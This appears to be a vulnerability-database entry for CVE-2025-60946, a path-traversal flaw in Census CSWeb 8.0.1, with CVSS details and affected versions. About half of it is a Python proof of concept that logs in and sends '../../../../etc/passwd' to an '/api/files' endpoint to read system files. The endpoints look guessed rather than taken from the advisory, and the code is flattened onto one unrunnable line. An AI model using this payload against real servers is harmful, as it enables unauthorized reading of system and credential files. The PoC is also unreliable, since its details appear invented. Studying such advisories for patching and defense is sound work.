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CVE-2025-60946 CVSS 8.8 HIGH

CVE-2025-60946

Published: 2026-03-23 22:16:23
Last Modified: 2026-03-26 13:27:02
Source: 9119a7d8-5eab-497f-8521-727c672e3725

Description

Census CSWeb 8.0.1 allows arbitrary file path input. A remote, authenticated attacker could access unintended file directories. Fixed in 8.1.0 alpha.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:csprousers:csweb:8.0.1:*:*:*:*:*:*:* - VULNERABLE
Census CSWeb 8.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target_url, username, password): session = requests.Session() # Step 1: Authenticate to get a valid session (PR:L requirement) login_payload = {'username': username, 'password': password} login_resp = session.post(f"{target_url}/login", data=login_payload) if login_resp.status_code != 200: print("Authentication failed") return # Step 2: Send payload with path traversal # Attempting to read /etc/passwd on Linux traversal_payload = {'file': '../../../../etc/passwd'} exploit_resp = session.get(f"{target_url}/api/files", params=traversal_payload) if exploit_resp.status_code == 200: print("Exploit successful! Response:") print(exploit_resp.text) else: print(f"Exploit failed, status code: {exploit_resp.status_code}") # Usage # exploit('http://target-ip', 'attacker', 'password')

References

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